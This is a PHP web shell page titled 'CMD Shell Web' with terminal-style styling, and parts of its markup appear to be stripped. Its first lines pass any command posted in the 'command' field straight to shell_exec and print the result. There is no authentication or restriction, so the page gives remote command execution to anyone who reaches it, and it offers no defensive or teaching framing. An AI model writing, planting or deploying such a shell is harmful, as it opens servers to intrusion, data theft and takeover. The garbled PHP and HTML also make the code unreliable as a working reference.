if ($_SERVER['REQUEST_METHOD'] === 'POST') { $cmd = $_POST['command'] ?? ''; $output = shell_exec($cmd . ' 2>&1');} else { $cmd = ''; $output = '';}<!DOCTYPE html><html lang="en">
<meta charset="UTF-8">CMD Shell Web <title>CMD Shell Web</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body { background-color: #0d0d0d; color: #33ff33; font-family: 'Courier New', monospace; padding: 20px; } .terminal-box { background-color: #000; border: 2px solid #33ff33; border-radius: 10px; padding: 20px; min-height: 300px; overflow-y: auto; margin-bottom: 20px; box-shadow: 0 0 15px #33ff33; } .cmd-input { background-color: #000; border: 2px solid #33ff33; color: #33ff33; font-family: monospace; } .cmd-input:focus { box-shadow: 0 0 10px #33ff33; } .btn-run { background-color: #33ff33; color: black; font-weight: bold; } .btn-run:hover { background-color: #28cc28; } </style> <h3 class="mb-4">🖥️ CMD Shell Terminal - Web UI <div class="terminal-box" id="output"> if ($cmd): <div><strong>> echo htmlspecialchars($cmd); </strong></div> <pre> echo htmlspecialchars($output); </pre> else: <pre>Type a command below and press Run.</pre> endif; </div> <script> // Auto scroll to bottom const out = document.getElementById('output'); out.scrollTop = out.scrollHeight; </script>